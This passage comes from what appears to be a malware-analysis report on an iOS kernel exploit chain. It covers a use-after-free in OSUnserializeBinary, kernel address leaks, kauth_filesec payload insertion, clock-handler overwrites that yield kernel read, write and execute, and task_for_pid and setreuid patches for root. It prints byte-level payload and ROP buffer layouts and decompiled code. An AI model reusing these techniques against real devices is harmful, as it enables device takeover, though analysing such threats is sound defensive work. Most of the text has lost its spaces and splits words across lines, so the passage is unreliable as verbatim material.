calls,32Stage2checksthe
valueoftheporttothekernelthatwasgeneratedpreviouslybycallingt
ask_from_pid
.If
task_from_pid
returnedavalid(nonNULL)port,32Stage2modifiesthekernelsmemoryby
writinga20bytedatastructureusingv
m_write
.The20bytedatastructureoverwritespartsof
thec
lock_ops
structuresforc
alend_ops
andr
tclock_ops3
.

The20bytedatastructurescontainpointerstohandlerfunctionsforthebatteryclockand
realtimeclockthatthekernelwillcallwhenfunctionssuchasc
lock_get_attributes
are
called(callbackfunctions).The20bytedatastructurereplacestheg
etattr
handlerforbothof
theclocktypeswithexistingkernelfunctions.Specifically,therealtimeclocksg
etattr
is
modifiedtopointtoO
SSerializer::serialize
,andthebatteryclocksg
etattr
ismodified
topointto_
bufattr_cpx
.

Thechoiceofthereplacementfunctionschangesthenatureofthec
lock_get_attributes
callmadetothetwoclocktypes.Forcallstoc
lock_get_attributes
forthebatteryclock,
thefunctionnowoperatesasakernelmemoryreadinterface.The_
bufattr_cpx
function
containsonlytwoinstructions:
3

h
ttp://opensource.apple.com/source/xnu/xnu3248.20.55/osfmk/kern/clock_oldops.c
Page19


_bufattr_cpx:
LDR

R0,

[R0]
BX

LR

Thefirstparametertothefunction(inR
0
)isusedasamemoryaddressthatthefunctionreads
andreturnsinR
0
beforereturningtothecallingfunction.Whiletheg
etattr
functionsuse
threeparameters,giventhattheiPhonesARMbasedfunctioncallsuseregistersforthefirst
fourfunctionarguments,thelackofafullycompliantfunctionprototypeisirrelevant.

Thereplacementfunctionfortherealtimeclocksg
etattr
functionisabitmorecomplex.The
OSSerializer::serialize
functionexpectsaO
SSerializer
objectasat
his
pointer(i.e.,anobjectthatincludesavirtualfunctiontable(vtable)).Theaddressstoredatoffset
0x10withintheO
SSerializer
objectisusedasthefunctiontopasscontroltoviatheB
X
instructionandusestheDWORDsatoffset8and12asparameterstothenextfunction.

_DWORD

OSSerializer::serialize(OSSerialize

*):
LDR

R3,

[R0,#8]
MOV

R2,

R1
LDR

R1,

[R0,#0xC]
LDR.W

R12,

[R0,#0x10]
MOV

R0,

R3
BX

R12

Theresultofreplacingtheg
etattr
handlerfortherealtimeclockisthatnowthecallerto
clock_get_attributes
canexecutearbitraryfunctionswithinthekernelbysupplyinga
speciallydesigneddatastructure,astructurethatwillbeexplainedingreaterdetaillaterinthis
report.Whatisimportanttorememberatthispointisthattheclockmodificationsonlyoccurat
thisphaseifthevictimskernelisalreadyexposedinsomemanner.Thatis,theseclock
modificationswouldnotbepossibleonanonjailbrokenphone.

If32Stage2alreadyhasaccesstothekernelportandhasperformedtheabovementioned
modificationstothevariousclocks,32Stage2willskipthenextseveralstepsthatitwould
normallyperforminordertogainsuchaccess,andpickupattheprivilegeescalationphase.If
thekernelmodificationwasnotmadebecausethekernelstaskportwascurrentlyinaccessible,
32Stage2createsandlocksthelockfilespecifiedduringtheearlierinitializationphase.Thisfile
becomesimportantlaterasapieceoftheprocessthatultimatelygains32Stage2theabilityto
modifythekernelsmemory.

The64bitversionoftheStage2binarydoesnotattempttotakeadvantageofpreexisting
backdoorsinpreviouslyjailbrokendevices.

Page20

ThreadManipulation
Stage2willeventuallyleverageauseafterfree(UAF)vulnerabilityinordertoexecutearbitrary
codewithinthekernelspace.WhenusingaUAFvulnerability,itispossiblethataracecondition
mayoccurwherethememorythatwasdereferenced(andwhichtheexploitwishestocontrol)is
reallocatedforanotherthreadbeforetheexploitcanexecute.Inordertoreducetheprobability
ofanotherthreadaccidentallyallocatingintoacriticaldeallocatedchunk,Stage2willgeneratea
listofallofitsrunningthreadsandimmediatelyplaceeachthread(outsideofitsmainthread)in
asuspendedstate.Next,Stage2modifiestheschedulingpoliciesforthemainthreadtofurther
increasetheprobabilitythattheUAFexploitwillnotfacecompetitionforthememoryin
question.

Anadditionalstepisperformedinthe64bitversionofStage2.Withthethreadscheduler
modificationscomplete,64Stage2generatesupto1000threads.Eachthreadconsistsofa
singletightloopthatmerelywaitforaglobalvariabletodropbelowapredefinedvalue(inthis
case,thevalueislessthan0).Thisbehaviorisintendedtoensure(or,atleast,significantly
increasethechances)thatnoadditionalthreadsmayspawnthatcancompetefortheUAFs
targetedmemory.

EstablishingCommunicationChannel(32Bit)
32Stage2generatesanotherpipesetusingthep
ipe
command,reusingthesamevariablethat
heldtheoriginalpipeset32Stage2generated.Thisactionisimmediatelyfollowedbycallsto
host_get_clock_service
inordertogetaccesstotherealtimeandbatteryclocks.Aswith
thepipeset,thecallstoh
ost_get_clock_service
reusethesamevariablesfromthe
previouscallstoh
ost_get_clock_service
thatgainaporttothevariousclocks.

Thepreviousgenerationofthepipesetandtheclockportswerenecessarybecausethese
itemsareusedlaterforkernelmanipulationandifthekerneltaskportwasavailablealready,
32Stage2wouldsimplyskiptheexploitationprocessnecessarytomodifythekernelandinstead
modifythekerneldirectlythroughv
m_write
calls.However,if32Stage2doesnothaveaccess
tothekerneltaskport(thedefaultcaseonanonjailbrokendevice),exploitationisnecessaryin
ordertoacquiresuchaccess.Aspartofthisexploitationprocess,32Stage2needstohavethe
pipesetandclocksavailablepriortotheexploitsactivation,andthusthebinaryensuresthat
theyareavailable.Whilethisisunnecessarilyrepetitive,itdoesservetoensurethatthecritical
objectsarereadilyavailable.

The64bitversionoftheStage2binarydoesnotneedtoperformthisstep,giventhatthe
triggeringmechanismusedtoultimatelycallthefunctionislittlemorethanaredirectionofan
existingfunctionpointertoasysctlhandler.
Page21

PayloadConstructionandKernelInsertion(32Bit)
Withoutameanstomodifykernelmemorythroughthekernelport,32Stage2mustleveragea
vulnerabilitywithiniOStogainaccesstothekernel.Inordertoperformthistask,32Stage2
constructstwodatabuffers:a20bytebuffercontainingthenecessaryoverwritedatatomodify
therealtimeandbatteryclocksanda38bytebuffercontainingapayloadthatrunsaseriesof
ROPgadgetstoinstalltheclockhandleroverwrites.Thetwodatabuffershavethefollowing
layoutaftertheirconstruction:

clock_ops_overwriteBuffer:
[00]

(rtclock.getattr):

address

of

OSSerializer::serialize
[04]

(calend_config):

NULL
[08]

(calend_init):

NULL
[0C]

(calend_gettime):

address

of

calen_getattr
[10]

(calend_getattr):

address

of

_bufattr_cpx

uaf_payload_bufferExploitBuffer:
[00]

ptr

to

clock_ops_overwrite

buffer
[04]

address

of

clock_ops

array

in

kern

memory
[08]

address

of

_copyin
[0C]

NULL
[10]

address

of

OSSerializer::serialize
[14]

address

of

"BX

LR"

code

fragment
[18]

NULL
[1C]

address

of

OSSymbol::getMetaClass
[20]

address

of

"BX

LR"

code

fragment
[24]

address

of

"BX

LR"

code

fragment

32Stage2generatesanewthreadtohandlethenecessarysetupfortheinstallationofthenew
clockhandlersthoughthenewthread,itself,doesnotperformtheinstallation.Thethread
beginsbyestablishingak
auth_filesec
datastructureonthestackwiththefollowingvalues:

.fsec_magic

=
KAUTH_FILESEC_MAGIC
//

0x12CC16D
.fsec_owner

=
<undetermined,

random

stack

value>

.fsec_group

=
<undetermined,

random

stack

value>
.fsec_acl.entrycount

=
KAUTH_FILESEC_NOACL

//

Theuaf_payload_bufferexploitbufferisappendedtotheendofthek
auth_filesec
structure
inwhatisdefinedasthek
auth_filesec.fsec_acl.acl_ace[]
arrayarea.Thethreadthen
opensaporttoIOKitandcallsI
OServiceGetMatchingService
forA
ppleKeyStore
.
UsingthesametechniqueexplainedpreviouslyintheK
ernelLocationsection,thethread
obtainsavalidkernelmemorylocation.Theonlydifferencebetweenthenewthreadsuseofthe
AppleKeyStore
disclosurevulnerabilityandthemethodusedby32Stage2previouslyisthe
propertynamethatthethreaduses(whichis
ararararararararararararararararararararararararararararararararararar
arararararararararararararararararararararararararararara
").
Page22


AfterobtainingthekerneladdressfromtheA
ppleKeyStore
,as
yscall
ismadetothe
open_extended
function.32Stage2passesthelocationofthelockfiletothesyscallalongwith
boththeK
AUTH_UID_NONE
andK
AUTH_GID_NONE
valuesandthek
auth_filesec
structure
constructedatthestartofthethread.Atthestartoftheo
pen_extended
function,thefollowing
codeexecutes:

if

((uap>xsecurity

!=

USER_ADDR_NULL)

&&

((ciferror

=
kauth_copyinfilesec(uap>xsecurity,

&xsecdst))

!=

0))

Thek
auth_copyinfilesec
functioncopiesthek
auth_filesec
structurepassedfrom
userlandintoak
auth_filesec
structureinthekerneladdressspace.Beforeexplainingthe
vulnerabilityinthisfunction,itisnecessarytounderstandthelayoutofthek
auth_filesec
structure.Thek
auth_filesec
structuremakesupanaccesscontrollist(ACL)thatcontains
accesscontrolentries(ACE).Thestructurefork
auth_filesec
isdefinedas:

/*

File

Security

information

*/
struct

kauth_filesec

{
u_int32_t
fsec_magic
guid_t
fsec_owner
guid_t
fsec_group
struct

kauth_acl

fsec_acl
}

TheACLcomponentfork
auth_filesec
isstoredinak
auth_acl
structure,whichcontains
anarrayofACE:

/*

Access

Control

List

*/
struct

kauth_acl

{
u_int32_t
acl_entrycount
u_int32_t
acl_flags
struct

kauth_ace

acl_ace[1]
}

Thek
auth_ace
structureis24bytesinsizeanddefinedas:

typedef

u_int32_t

kauth_ace_rights_t
/*

Access

Control

List

Entry

(ACE)

*/
struct

kauth_ace

{
guid_t
ace_applicable
u_int32_t
ace_flags
kauth_ace_rights_t

ace_rights
}

/*

scope

specific

*/

Thek
auth_acl
fielda
cl_entrycount
isanunsignedintegerthatdefineshowmany
kauth_ace
entriesarewithinthea
cl_ace
array.IfanACLcontainsnoACErecords,
acl_entrycount
issettoK
AUTH_FILESEC_NOACL
,whichisdefinedas
1
.Atthebeginning

Page23

ofthek
auth_copyinfilesec
function,thefollowingcommentisfoundwithinthepublicly
availablesourcecode:

/*

*
Make

a
guess

at

the

size

of

the

filesec.

We

start

with

the

base

*
pointer,

and

look

at

how

much

room

is

left

on

the

page,

clipped

*
to

a
sensible

upper

bound.

If

it

turns

out

this

isn't

enough,

*
we'll

size

based

on

the

actual

ACL

contents

and

come

back

again.

*
The

upper

bound

must

be

less

than

KAUTH_ACL_MAX_ENTRIES.

The

*
value

here

is

fairly

arbitrary.

It's

ok

to

have

a
zero

count.

*/

Whenthenewthreadconstructsthek
auth_filesec
structure,itdoessobydirectly
manipulatingthepositionofthestructureonthestackassuch:

//

get

stack

address?
p

=
(unsigned

int)&stackAnchor

&
0xFFFFF000
//

kauth_filesec.fsec_magic
(p

+
0xEC0)

=
0x12CC16D
//

kauth_filesec.fsec_acl.entrycount

=
KAUTH_FILESEC_NOACL
(p

+
0xEE4)

=
1
//

kauth_filesec.fsec_acl.acl_ace[...]
memcpy(&stackAnchor

&
0xFFFFF000

|
0xEEC,

pExploit,

128)

Thestackhasthefollowinglayoutatthestartofthenewthreadsexecution:

char

stackAnchor

//

[sp+101Fh]

[bp2031h]@1

unsigned

int

size

//

[sp+2020h]

[bp1030h]@12

char

buffer[4096]

//

[sp+2024h]

[bp102Ch]@12

int

v26

//

[sp+3024h]

[bp2Ch]@7

mach_port_t

connection

//

[sp+3028h]

[bp28h]@4

kern_return_t

result

//

[sp+302Ch]

[bp24h]@4

mach_port_t

masterPort

//

[sp+3030h]

[bp20h]@3

MAPDST

Usingthevariabledubbeds
tackAnchor
,thenewthreadfindsapageboundaryaddressfor
thestack.Then,byallocatingalargearraytoensurethatatleastonepageofthestackis
unusedbyfunctioncriticalvariables,thenewthreadcanconstructak
auth_filesec
structure
thatcontainssignificantlymoreinformationthanisnecessary.Bysettingthe
acl_entrycount
toindicatethattherearenoACErecords,wheno
pen_extended
processesthe
kauth_filesec
structure,itwillnotattempttoparseanydatabeyondthea
cl_flags
variable,thuspreservingtheintegrityoftheexploitbufferandpreventingthekernelfrom
possiblyhavingissuewithhowtheexploitbufferwouldbeinterpretedasanactualACErecord.
Theendresultofcallingo
pen_extended
istocopytheexploitbuffer(alongwiththe
clock_ops_overwrite
buffer)intokernelmemory.

Thenewthreadtakesadvantageofthisbehavioralodditywithintheo
pen_extended
syscallin
ordertoplacethe(unmodified)payloadintothekernelmemory.Theaddressforthatpayloadis
thenrecoveredusingthepreviouslydiscussedvulnerabilitythatallowskernelmemorytobe
Page24

leakedbacktousermode.WhentheA
ppleKeyStore
vulnerabilityisexploited,thevariable
dubbedb
uffer
ispassedtoi
o_service_open_extended
(thesamevariablethatresides
adjacenttothes
tackAnchor)
.ThisbehaviormeansA
ppleKeyStore
returnedapointerfor
kernelmemorythatwasultimatelynexttotheexploitcodecopiedinbythesyscallto
open_extended
.Therefore,thepurposeofthenewthreadisnottooverwritetheclockhandler
pointers,butrathertosetthestageforsuchanattack.

Oncethenewthreadcompletes,thevariablecontainingthememoryaddressoftheexploit
bufferobtainedbythenewthreadaspartoftheA
ppleKeyStore
informationleakistestedto
determineifitwasindeedsetbythenewthread(priortocallingthenewthread,thevariablethat
holdsthekerneladdressisinitializedto0x12345678).Ifthenewthreaddidnotsuccessfully
obtainthekernelmemorylocation,32Stage2willcalltheassertcallbackandexit.

Afterthecompletionofthenewthreadsactivities,andifthephonereportsitselfasiPhone4,1
(theiPhone4series),themainthreadwillgenerateupto1000threads.Eachofthethreadswill
generateaverytightwhileloopthatwaitsuntilaglobalvariableissettolessthan0(itdefaults
to1000atthetimethethreadsaregenerated).Itisunclearwhythisbehaviorisrestrictedtothe
iPhone4s,astheresultofthisbehaviorwouldseemtohavevalueonallplatforms.Thisthread
resourceexhaustiondecreasestheprobabilitythatanotherthreadwillspawnandthuscompete
forthememoryresourcesduringtheUAFexploitation.

PayloadConstructionandKernelInsertion(64Bit)
Giventhedifferencesinthetriggeringmechanismusedwithin64Stage2,thesetupandpayload
constructionissomewhatdifferent.Ratherthancreatingpipesandoverwritingtheclockgetattr
handler,asysctlhandlerisoverwritten,ultimatelyresultinginanexecuteprimitivethatuses
OSSerializer::serialize
inasimilarwayto32Stage2.Inordertoestablishanexecute
primitive,64Stage2usesthesysctlinterfaceforn
et.inet.ip.dummynet.extract_heap
to
which64Stage2passesaspeciallycrafteddatastructurethatallowsthebinarytooverwritethe
functionpointerresponsibleforinterfacingwiththekernelvariable.Theendresultisa
framework,similarinnaturetotheg
etattr
h
andlers,thatallowsthe64Stage2binaryto
executearbitrarycodeROPchainswithinthekernelfromuserspace.

EstablishingKernelRead/WritePrimitives(32Bit)
Withtheexploitcodenowinkernelmemory,32Stage2mustactivatethecodeinordertoinstall
thenewc
lock_ops
handlersthatgiveuserlandaccesstothethekernelmemory.32Stage2
usesauseafterfree(UAF)vulnerabilitywithinthei
o_service_open_extended
deserializationroutine.

Whilei
o_service_open_extended
sdeserializationfunctionalitywaspreviouslyshownin
thisreporttoallowtheleakageofkerneladdressinformation,anothervulnerabilityinthesame
Page25

componentcanbeusedtoexecutearbitrarycodewithinthekernel.When
io_service_open_extended
ispassedap
roperties
d
atablob,thefunctionwillcopythe
contentsfromuserspaceintokernelspacebeforepassingtheinformationto
OSUnserializeXML
.O
SUnserializeXML
inturnpassestheinformationto
OSUnserializeBinary
ifthek
OSSerializeBinarySignature
valueispresentatthe
beginningofthedatablob.ItiswithinO
SUnserializeBinary
thatthevulnerabilityexists.

Thedatablobsuppliedinthep
roperties
p
arameterrepresentsanXMLdictionary(or
container)thathasbeenserialized.Inordertoreconstructtherelationships,
OSUnserializeBinary
iteratesthroughtheentiredatablobtoparseoutthevariousdata
objects.Itispossiblethatduringtheencodingprocess(theprocessofturningtheoriginalXML
intoitsbinaryrepresentation)thatthesameobjectisfoundrepeatedly.Inordertomore
efficientlyhandlerepetitivedata,objectsarestoredwithinanarray(o
bjsArray
)andobjects
withinthereconstructedXMLdictionarycanberepresentedbyanindexintothearrayof
objects.

WithinO
SUnserializeBinary
,aw
hile
loopiteratesthrougheachencodedobjectwithinthe
supplieddatablob.Theloopbeginsbydeterminingthetypeofobject(e.g.,
kOSSerializeDictionary
,k
OSSerializeArray
,k
OSSerializeNumber
,andsoon)and
itssize.

len

=
(key

&
kOSSerializeDataMask)
...
switch

(kOSSerializeTypeMask

&
key)
{
case

kOSSerializeDictionary:
o

=
newDict

=
OSDictionary::withCapacity(len)
newCollect

=
(len

!=

0)

break
case

kOSSerializeArray:
o

=
newArray

=
OSArray::withCapacity(len)
newCollect

=
(len

!=

0)

break
case

kOSSerializeSet:
o

=
newSet

=
OSSet::withCapacity(len)
newCollect

=
(len

!=

0)
...
case

kOSSerializeObject:
if

(len

>=

objsIdx)

break
o

=
objsArray[len]
o>retain()
isRef

=
true
break
...
}

Thes
witch
statementdispatchestheappropriateinstructionsforhandlingeachtypeofobject
foundwithinthedatablob.Theseinstructionscangeneratenewobjectsandsetflagsrelatedto
theobjectsdependingonwhattheparticularobjectrequiresduringthedeserializationprocess.
Page26

Thek
OSSerializeObject
objecttypeisaspecialcasethatrepresentsanalready
deserializedobjectand,assuch,setsaflagi
sRef
tot
rue
indicatingthattheobjectisa
referencetoanexistingobjectalreadywithintheo
bjsArray
array.

Ifthei
sRef
valueisnotsettot
rue
,thecurrentobjectthatjustunderwentdeserializationis
addedtotheo
bjsArray
b
ymeansofs
etAtIndex
:

if

(!isRef)
{
setAtIndex(objs,

objsIdx,

o)
if

(!ok)

break
objsIdx++
}

setAtIndex
isamacrothat,amongotherthings,addsanobject(o
)totheo
bjsArray
.While
morerobustarrayobjectsexistwithintheiOSenvironment,suchasO
SArray

(a
narray
containerthatwillhandlereferencecountingautomatically),O
SUnserializeBinary
takesa
moremanualrouteforarrayobjectmanagementoftheobjectsithasdeserialized.Once
deserialized,theobjectsreferencecountisdecrementedbycallingo
>release()
,whichwill
leadtotheobjectbeingfree()edinmostcases.Theexceptiontothisbehavioroccurswithin
kOSSerializeObject
objects.

Sinceak
OSSerializeObject
o
bjectrepresentsanobjectthatisreferencedbyotherentries,
itisnecessarytoretaintheobjectafterserialization.Asaresult,duringdeserialization
kOSSerializeObject
objectswillcallo
>retain()
,therebyincrementingthereference
countfortheobjectandpreventingitsremovalfrommemory.

Aserializeddatabloballowsforthesamekeytobeusedmorethanonce.Inotherwords,itis
possibletohaveXMLcodethatlookslike:

<dict>
<key>KEY1<key>
<number>1</number>
<key>KEY1</key>
<string>2</string>
</dict>

TheaboveXML,onceserialized,willcontainfiveobjects.Thefirstobjectwillbethedictionary
container(<
dict>
asak
OSSerializeDictionary
object),followedbyasymbol
representingthekey(asak
OSSerializeSymbol
e
ntrycontainingK
EY1
)anditsdataobject
(ak
OSSerializeNumber
e
ntryfortheinteger1
).Thefourthentryspecifiesanotherkey
object,assignedK
EY1
a
gain,whichisnowastringobject(k
OSSerializeString
)containing
thestring2
.Aspartofthedeserializationprocess,thereuseofK
EY1
resultsintheobjectthat
followsreplacingtheoriginalvalueassignedtoK
EY1
.Thisreassignmentofakeywithnewdata
isthesituationwhereO
SUnserializeBinary
isvulnerabletoattack.

Page27

Asstatedpreviously,whenanobjectisdeserialized,andsolongasthatobjectisnota
kOSSerializeObject
,theobjectisstoredintheo
bjsArray
forlaterreference.This
storageistheresultofthes
etAtIndex
macroseenhere:

#define

setAtIndex(v,

idx,

o)

\
if

(idx

>=

v##Capacity)

\
{

\
uint32_t

ncap

=
v##Capacity

+
64

\
typeof(v##Array)

nbuf

=
(typeof(v##Array))

kalloc_container(ncap

*
sizeof(o))

\
if

(!nbuf)

ok

=
false

\
if

(v##Array)

\
{

\
bcopy(v##Array,

nbuf,

v##Capacity

*
sizeof(o))

\
kfree(v##Array,

v##Capacity

*
sizeof(o))

\
}

\
v##Array

=
nbuf

\
v##Capacity

=
ncap

\
}

\
if

(ok)

v##Array[idx]

=
o

Themacrowillexpandtheo
bjsArray
toaccommodatetheadditionalobjectandassignthe
objecttotheendoftheo
bjsArray
withoutincreasingitsreferencecountbymeansofa
o>retain()
call.Theproblemwiththismethodisthatwhenasecondobjectreplacesan
existingobject(inourexamplethisiswheneverthestringobjectreplacesthenumberobjectfor
KEY1),thefirstobjectisreleasedandsubsequentlyfreed,butapointertothenowfreedobject
existswithintheo
bjsArray
.Normallythiswouldsimplybeabadprogrammingdesignissue,
buttheproblemiscompoundedifareferenceismadetotheobjectviaa
kOSSerializeObject
e
ntry.Ifak
OSSerializeObject
entryreferences,byindex,thenow
danglingpointerofthefreedobject,thecalltoo
>retain()
willattempttoexecuteavirtual
functionthatisattackercontrolled.

Inordertoexploitthisuseafterfreecondition,32Stage2musttakecontrolofthememory
locationthatwasdeallocatedandplaceacustomvtablethatwillhavetheentryforr
etain
directedtoafunctionofitsownchoosing.Installingacustomvtablerequireshavingaccessto
twodeallocated,adjacentmemorylocations.Sinceitisnotpossibletodirectlyoverwritethe
vtableofanobjectduringtheserializationprocess,byallocatingandthenfreeingtwomemory
locations,32Stage2canuseanO
SData
o
rO
SString
o
bjecttoreplacetwomemorylocations
atoncewithoneofthememorylocationscontainingthemaliciousvtable.Theeasiestwayto
understandthisconceptistolookatthepayloadthat32Stage2generatestoexploitthe
OSUnserializeBinary
UAFvulnerability.

Themaliciouspayloadthat32Stage2generatesforthisvulnerabilitydependsontheiOS
version.ForiOSversion9.3.2throughatleast9.3.3,thepayloadtakesthefollowingform:

[0x00]

kOSSerializeBinarySignature
[0x04]

kOSSerializeEndCollecton

|
kOSSerializeDictionary

|
0x10
[0x08]

kOSSerializeString

|
4
Page28

[0x0C]

sy2
[0x10]

kOSSerializeData

|
0x14
[0x14]

{payload

buffer}
[0x28]kOSSerializeEndCollecton

|
kOSSerializeObject

|
1

ForiOS9.0through9.3.1,thepayloadtakesthefollowingform:

[0x00]

kOSSerializeBinarySignature
[0x04]

kOSSerializeEndCollecton

|
kOSSerializeDictionary

|
0x10
[0x08]

kOSSerializeString

|
4
[0x0C]

sy2
[0x10]

kOSSerializeEndCollecton

|
kOSSerializeArray

|
0x10
[0x14]

kOSSerializeDictionary

|
0x10
[0x18]

kOSSerializeSymbol

|
4
[0x1C]

sy1
[0x20]

kOSSerializeData

|
0x14
[0x24]

ffff\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
[0x38]

kOSSerializeSymbol

|
4
[0x3C]

sy1
[0x40]

kOSSerializeEndCollecton

|
kOSSerializeSymbol

|
4
[0x44]

sy1
[0x48]

kOSSerializeString

|
0x1C
[0x4C]

{payload

buffer}
[0x68]

kOSSerializeString

|
0x1C
[0x6C]

{payload

buffer}
[0x88]

kOSSerializeString

|
0x1C
[0x8C]

{payload

buffer}
[0xA8]

kOSSerializeEndCollecton

|
kOSSerializeObject

|
5

Whilestructurallytheylooksomewhatdifferent,ultimatelytheybothexploitthesameUAF
vulnerability.Thesimplerpayload(foriOS9.3.2andlater)istheeasiesttounderstand.When
OSUnserializeBinary
beginstheparsingprocesstodeserializethepayload,thefunction
willcreateanewdictionaryobjectasaresultoftheentryatoffset0x04.Withinthisdictionary
aretwounkeyedobjects.ThefirstobjectisanO
SString
o
bjectwiththevalues
y2
(specified
inoffsets0x08and0x0C,respectively).Offset0x10specifiesanO
SData
o
bjectof0x14(20)
bytesinsize.TheO
SData
o
bjectcontainsthepayloadbufferdatastructure.Sincetheobjects
areunkeyed,O
SUnserializeBinary
willreplacetheO
SString
o
bjectwiththeO
SData
objectbutleavethepointersinplaceino
bjsArray
.WiththeO
SString
o
bjecthavingno
retain()
calls,theO
SString
isdeallocated,therebyputtingtwomemoryarraysintothefree
list(onefortheO
SString
o
bjectitselfandoneforthestringassociatedwiththeO
SString
object).

WhenO
SUnserializeBinary
parsesthek
OSSerializeData
e
ntry,anewO
SData
o
bject
isallocatedandthusconsumesoneofthefreedmemorylocationsfromthefreelist.Whenthe
dataassociatedwiththek
OSSerializeData
e
ntryiscopiedintotheO
SData
o
bject,anew
bufferisallocatedforthedata,whichconsumestheremainingdatalocationfromthefreelist.At
thispoint,thedanglingpointerino
bjsArray
h
asbeenreplacedwithanO
SData
o
bjects
data.ItisthedataassociatedwiththeOSDataobjectthatcontainsthemaliciouspayloadthat

Page29

willultimatelygive32Stage2writeaccessintothekernelinordertoinstalltheread/write
primitives.

RegardlessoftheiOSversion,themaliciouspayloadcontainsthesamepayloadbuffer.The
payloadbufferisa20bytestructureconsistingofthefollowingelements:

[00]addressofu
af_payload_buffer
+8
[04]{uninitializeddatafromstack}
[08]addressofuaf_payload_buffer
[0C]staticvalueof20
[10]addressofO
SSerializer::serialize

Thelayoutofthepayloadmustcontainthepointertothenewretainfunctionatoffset0x10.
32Stage2usestheO
SSerializer::serialize
functionasthereplacementretain.This
layoutmeansthattheremainderofthepayloadmustnowmimicthevtableofan
OSSerializer
o
bject.AsexplainedpreviouslyinE
stablishingRead/Write/ExecutePrimitives
onPreviouslyRootedDevices,theO
SSerializer::serialize
functionwillcallthefunction
atoffset0x10ofthesuppliedvtablewhilepassingoffsets0x08and0x0Cofthevtabletothe
calledfunction.Giventhatoffset0x10issettoO
SSerializer::serialize
,thefunctionis
beingcalledagain,butthesecondcallwillbegiventhevtablespecifiedatoffset0x08.Thiscall
kicksoffaseriesofsubsequentcallsthatultimatelyleadstoacallto_
copyin
thatreplacesthe
getattrhandlersfortherealtimeandbatteryclocks,asdescribedinE
stablishing
Read/Write/ExecutePrimitivesonPreviouslyRootedDevices.

Followingtheexecutionoftheexploit,andifthevictimsphoneisaniPhone4,1model,the
globalvariablecontrollingthe1000threadsgeneratedpreviouslyissetto1inorderto
terminatethethreads.

Toverifythatthebatteryclocksg
etattr
handlerisworkingasakernelmemoryaddress
reader,c
lock_get_attributes
iscalledwiththereadlocationspecifiedasthebaseaddress
forthekernel.Iftheresultfromc
lock_get_attributes
isnotthemagicvalueof
0xFEEDFACE
,theattemptismadeoncemore.Asecondfailureresultsintheassertcallback
beingcalledand32Stage2terminating.

EstablishingKernelRead/WritePrimitives(64Bit)
Thesameunderlyingvulnerabilityisexploitedinthe64bitversionofStage2.Inprinciple,the
exploitisstructuredinaverysimilarway.Theprimarydifferenceisthattheultimateexecute
primitiveisestablishedbywritingtothen
et.inet.ip.dummynet.extract_heap
sysctl
handler.TheO
SSerializer::serialize
isusedinasimilarwayaswithin32Stage2.
Arbitrarycodeexecution(throughtheexecutionofarbitraryROPchains)isthenachievedusing
thesamemechanismdescribedinE
stablishingKernelExecutePrimitive(32Bit).
Page30

EstablishingaKernelExecutePrimitive(32Bit)
AsexplainedpreviouslyinInstallingKernelAccessHandlersonRootedDevices,therealtime
clocksg
etattr
handlerpointstoO
SSerializer::serialize
,whichallowsthecallerof
clock_get_attributes
topassaspeciallycraftedstructureto
OSSerializer::serialize
inordertoexecuteinstructionswithinkernelspace.Byvirtueof
executingwithinkernelspace,theuserland32Stage2processmusthaveawayoftransferring
datatothekerneladdressspaceinareliablemanner.32Stage2usesacleverquirkofthe
pipe
createdpipesettoaccomplishthistask.

Afterestablishingthebatteryclocksnewg
etattr
h
andleras_
bufattr_cpx
,32Stage2has
areliablemethodforreadingDWORDsfromthekerneladdressspaceintouserland.32Stage2
usesthisfunctionalitytofindthea
ddrperm
valuestoredwithinthekernel.a
ddrperm
d
efines
theoffsetappliedtotheaddressfromthekernelwhenpassedtouserlandinordertoobfuscate
thetruelocationofthedatainthekernel.Byobtainingthisvalue,itispossibletodeobfuscate
kerneladdressesbacktotheirrealaddressvalues.32Stage2callsf
stat
o
nthereadpipe
fromthegeneratedpipesetandthencalculatesthedifferencebetweenthelocationofthes
tat
structureandthekerneladdressspace.Thisvalueisthenstoredinaglobalvariableforuseby
functionsthatmustaccesskernelmemoryforthepurposesofcodeexecution.

Whenever32Stage2wantstoexecutecodewithinthekernel,thefollowingdatastructureis
writtentothewritepipeofthegeneratedpipeset:

[00]argument1
[04]argument2
[08]addressofcodetoexecute

Inordertocallthefunctionspecifiedinoffset8ofthedatastructure,anotherDWORDis
prependedtothestructureandpassedtotherealtimeclocksg
etattr
h
andler(accessedvia
OSSerializer::serialize
),whichplacesargument1intoR
3
andargument2intoR
1
beforecallingtheaddressspecifiedforthefunctiontoexecute.Byprependingtheunused
DWORDtothedatastructure,thedatastructurebecomesthevtablereplacementfor
OSSerializer
.Thistechniqueisusedintwodifferentfunctionswithin32Stage2.Onefunction
allowsarbitrarykernelfunctioncallsandtheotherisusedtowriteDWORDvaluesintothe
kerneladdressspace.

PatchingtheKerneltoAllowKernelPortAccess
Withtheabilitytoread,write,andexecutearbitrarylocationswithinthekerneladdressspace,
thenextstepinvolvesgainingmoredirectaccesstothekernelthroughthekernelport.The
Page31

functiont
ask_for_pid
willreturnanerrorifcalledwiththePIDvalueof0.Inordertobypass
thisprotection,Stage2modifiesfourdifferentlocationswithinthet
ask_for_pid
function.
Beforethepatchingoft
ask_for_pid
begins,Stage2determinesifthearearequiringthe
patchiswithinaregionofmemorythatisread/execute.Ifthememoryisnonwritable,Stage2
willdirectlymodifythepermissionsofthememoryregiontoallowforwriteaccessandthen
invalidatethedcacheandflushthedataandinstructionTLBsinordertoensurethatthe
memoryregionisupdatedwiththenewpermissions.

Afterpatchingthet
ask_for_pid
functiontoallowthecallertogainaporttothekernel,Stage
2willattempttogetakernelportbycallingt
ask_for_pid(mach_task_self,

0,

&port)
uptofivetimeswitha100mlliseconddelaybetweeneachattemptbeforecallingtheassert
callbackandexiting.

Page32

Section3:PrivilegeEscalationandActivatingthe
JailbreakBinary

This section covers the final steps carried out in Stage 2 to gain root access on
the iPhone, disable code signing, then drop and activatethejailbreakbinary.This
stage leverages the final Trident vulnerability, where kernel memory corruption
leadstojailbreak(CVE20164656).

Page33

SystemModificationforPrivilegeEscalation
Thenextstepfor32Stage2istogainrootaccessoverthevictimsphone.IftheStage2process
isnotcurrentlyrunningasroot(UID=0),whichitwillnotbeonanonjailbrokenphone,then
Stage2patchesthes
etreuid
functiontoskipthecheckforprivilegeescalation.Oncethe
modificationtosetreuidiscomplete,thefunctioniscalleduptofivetimes(with500msdelays
betweeneachcall)untils
etreuid(0,

0)
returnssuccessful.Afterfiveattempts(oraftera
successfulsetreuidcall),themodificationmadetosetreuidisreversed.Afinalcheckofthe
